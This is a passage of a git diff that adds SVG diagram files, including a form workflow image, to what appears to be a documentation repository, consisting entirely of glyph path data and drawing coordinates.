y="158.892795"/> + <use xlink:href="#glyph1-11" x="64.189236" y="158.892795"/> + <use xlink:href="#glyph1-2" x="73.078125" y="158.892795"/> + <use xlink:href="#glyph1-21" x="81.411458" y="158.892795"/> + <use xlink:href="#glyph1-14" x="88.355903" y="158.892795"/> + <use xlink:href="#glyph1-4" x="93.911458" y="158.892795"/> + <use xlink:href="#glyph1-15" x="98.355903" y="158.892795"/> + <use xlink:href="#glyph1-13" x="107.244792" y="158.892795"/> + <use xlink:href="#glyph1-14" x="115.300347" y="158.892795"/> + <use xlink:href="#glyph1-13" x="120.855903" y="158.892795"/> +</g> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 241 94.601562 L 399.75 94.601562 L 399.75 118 L 241 118 Z M 241 94.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-13" x="241" y="113.008681"/> + <use xlink:href="#glyph0-8" x="249.055556" y="113.008681"/> + <use xlink:href="#glyph0-4" x="256.277778" y="113.008681"/> + <use xlink:href="#glyph0-2" x="264.333333" y="113.008681"/> + <use xlink:href="#glyph0-9" x="272.111111" y="113.008681"/> + <use xlink:href="#glyph0-3" x="276.277778" y="113.008681"/> + <use xlink:href="#glyph0-14" x="283.777778" y="113.008681"/> + <use xlink:href="#glyph0-3" x="291.833333" y="113.008681"/> + <use xlink:href="#glyph0-15" x="299.055556" y="113.008681"/> + <use xlink:href="#glyph0-16" x="306.833333" y="113.008681"/> + <use xlink:href="#glyph0-3" x="314.611111" y="113.008681"/> + <use xlink:href="#glyph0-17" x="322.111111" y="113.008681"/> + <use xlink:href="#glyph0-12" x="328.222222" y="113.008681"/> + <use xlink:href="#glyph0-18" x="333.222222" y="113.008681"/> + <use xlink:href="#glyph0-19" x="337.388889" y="113.008681"/> + <use xlink:href="#glyph0-6" x="345.444444" y="113.008681"/> + <use xlink:href="#glyph0-3" x="350.444444" y="113.008681"/> + <use xlink:href="#glyph0-15" x="357.666667" y="113.008681"/> + <use xlink:href="#glyph0-16" x="365.444444" y="113.008681"/> + <use xlink:href="#glyph0-3" x="373.222222" y="113.008681"/> + <use xlink:href="#glyph0-17" x="380.722222" y="113.008681"/> + <use xlink:href="#glyph0-12" x="386.833333" y="113.008681"/> + <use xlink:href="#glyph0-20" x="391.833333" y="113.008681"/> + <use xlink:href="#glyph0-1" x="396" y="113.008681"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 22.748828 6.45 L 30.3 6.484961 " transform="matrix(20,0,0,20,-299,21)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.298828 6.734961 L 30.8 6.487305 L 30.301172 6.234961 Z M 30.298828 6.734961 " transform="matrix(20,0,0,20,-299,21)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 8 C 28.134375 8 28 8.134375 28 8.3 L 28 10.885352 C 28 11.050977 28.134375 11.185352 28.3 11.185352 L 33.7 11.185352 C 33.865625 11.185352 34 11.050977 34 10.885352 L 34 8.3 C 34 8.134375 33.865625 8 33.7 8 Z M 28.3 8 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-9" x="276.15625" y="220.853733"/> + <use xlink:href="#glyph1-19" x="285.322917" y="220.853733"/> + <use xlink:href="#glyph1-22" x="295.045139" y="220.853733"/> + <use xlink:href="#glyph1-23" x="303.65625" y="220.853733"/> + <use xlink:href="#glyph1-16" x="310.322917" y="220.853733"/> + <use xlink:href="#glyph1-24" x="318.934028" y="220.853733"/> + <use xlink:href="#glyph1-25" x="329.489583" y="220.853733"/> + <use xlink:href="#glyph1-26" x="338.934028" y="220.853733"/> + <use xlink:href="#glyph1-27" x="351.989583" y="220.853733"/> + <use xlink:href="#glyph1-28" x="356.711806" y="220.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 14 C 28.134375 14 28 14.134375 28 14.3 L 28 16.885352 C 28 17.050977 28.134375 17.185352 28.3 17.185352 L 33.7 17.185352 C 33.865625 17.185352 34 17.050977 34 16.885352 L 34 14.3 C 34 14.134375 33.865625 14 33.7 14 Z M 28.3 14 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-16" x="293.226562" y="340.853733"/> + <use xlink:href="#glyph1-24" x="301.837674" y="340.853733"/> + <use xlink:href="#glyph1-25" x="312.393229" y="340.853733"/> + <use xlink:href="#glyph1-26" x="321.837674" y="340.853733"/> + <use xlink:href="#glyph1-27" x="334.893229" y="340.853733"/> + <use xlink:href="#glyph1-28" x="339.615451" y="340.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.3 20 C 28.134375 20 28 20.134375 28 20.3 L 28 22.885352 C 28 23.050977 28.134375 23.185352 28.3 23.185352 L 33.7 23.185352 C 33.865625 23.185352 34 23.050977 34 22.885352 L 34 20.3 C 34 20.134375 33.865625 20 33.7 20 Z M 28.3 20 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-9" x="271" y="460.853733"/> + <use xlink:href="#glyph1-29" x="279.888889" y="460.853733"/> + <use xlink:href="#glyph1-16" x="291" y="460.853733"/> + <use xlink:href="#glyph1-28" x="299.611111" y="460.853733"/> + <use xlink:href="#glyph1-23" x="308.777778" y="460.853733"/> + <use xlink:href="#glyph1-16" x="315.444444" y="460.853733"/> + <use xlink:href="#glyph1-24" x="324.055556" y="460.853733"/> + <use xlink:href="#glyph1-25" x="334.611111" y="460.853733"/> + <use xlink:href="#glyph1-26" x="344.055556" y="460.853733"/> + <use xlink:href="#glyph1-27" x="357.111111" y="460.853733"/> + <use xlink:href="#glyph1-28" x="361.833333" y="460.853733"/> +</g> +</g> +</svg> diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg new file mode 100644 index 00000000000..2dbacbbf096 --- /dev/null +++ b/_images/form/form_workflow.svg @@ -0,0 +1,263 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="561pt" height="441pt" viewBox="0 0 561 441" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 